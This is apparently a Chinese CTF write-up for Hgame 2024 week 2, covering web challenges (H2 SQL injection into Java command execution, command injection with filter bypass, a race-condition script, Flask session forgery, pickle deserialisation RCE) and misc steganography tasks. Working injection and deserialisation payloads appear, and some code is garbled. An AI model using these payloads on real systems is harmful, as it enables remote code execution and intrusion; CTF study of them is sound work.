Hgame2024 week2 wp

MakaRi

1. search4member:利用别名创建 java 函数执行系统命令并捕获输出,再利用堆叠注入插入数据库获得回显。

```
Pyaload: 114%';CREATE ALIAS EXEF_CMD AS $$ String execCmd(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$;//
114%';INSERT INTO member (id, intro, blog) VALUES ('1', '1', (SELECT EXEF_CMD('cat /flag')));//
```

2. what the cow say?:反引号命令注入,过滤了 flag 和 cat,用\${Z}绕过即可。Payload:`ca\${Z}t /fla\${Z}g is here`

3.select more courses:用 bp 内置的爆破字典爆出密码为 qwert123,通过时间竞争绕过限制,申请学分后抢课即可。

```
import threading
import requests
url = "http://106.14.57.14:31446/api/expand"
headers = {
Chrome/99.0.4844.51 Safari/537.36',
   'Accept-Encoding': 'gzip, deflate',
   'Accept-Language': 'zh-CN,zh;q=0.9',
 session=MTcwNzIwNjkzN3xEWDhFQVFMX2dBQUJFQUVRQUFBcV80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNwhiV1VHYzNSeWFXNW5EQW
BQ0cxaE5XaH1NREJ0fAUoz5iiX0_7-Yr222T56mg0gWHE85nJJWp3qm5pBJhN',
data = '{"username":"ma5hr00m"}'
def send_request():
   response = requests.post(url, headers=headers, data=data)
   print(response.status_code, response.reason)
thread count = 1000
threads = []
for i in range(thread_count):
   thread = threading.Thread(target=send_request)
   threads.append(thread)
```

```
thread.start()
for thread in threads:
thread.join()
```

4.myflask: 开启靶机的同时,启动脚本输出可能的 secretkey 值

```
from datetime import datetime
from pytz import timezone
import time
while True:
    currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
    currentTime = currentDateAndTime.strftime("%H%M%S")
    print(currentTime)
    time.sleep(0.9)
```

用 python-flask-session-manager 一个一个尝试,从 session 解密出{'username':'guest'}即为正确 secretkey。因为是精确到秒的所以工作量不大。

再用该 secretkey 加密出 admin 身份的 session。

然后获得一个 pickle 反序列化点

```
import pickle
import base64

class genpoc(object):
    def __reduce__(self):
        cmd = 'cat /flag'
        s = "__import__('os').popen('{}').read()".format(cmd)
        return (eval, (s,))

x=genpoc()

res=pickle.dumps(x)

res1=base64.b64encode(res)

print(res1)

print(base64.b64decode(b'gASVPwAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwjX19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS

SyZWFkKCmUhZRSlC4='))
```

反序列化恶意类执行系统命令即可。

- 5. ek1ng_want_girlfriend:用 wireshark 打开找到带有图片文件的数据包,导出分流字节组命名为 png 图片即可。
- 6. Ezword:doc 文档后缀名改为 zip,解压后 media 目录内的两张图片用 github 脚本 Blindwatermark 解出水印获得压缩包密码,解压得到 txt 文件,里面是邮件,去在线网站 spammimic 解码得到中文乱码,观察 unicode 值发现第一个和第二个字符刚好相差 1 位,联 想到 hgame 的 h 和 g 也相差一位,写脚本做相对应的字符偏移得到 flag。
- 7. 龙之舞: Audocity 打开文件,观察频谱图在开头一段找到一个 key (截图后翻转),以改 KEY 用 silenteye 打开音频文件,获得一个 gif。用 wps 查看器的逐帧播放得到四个四分之一二维码,用 ps 截出每一张的右下角 165 像素后拼起来即为完整二维码,用 qrazybox 将纠错等级改为 M4(这里是一个一个尝试的),extract 得到 flag。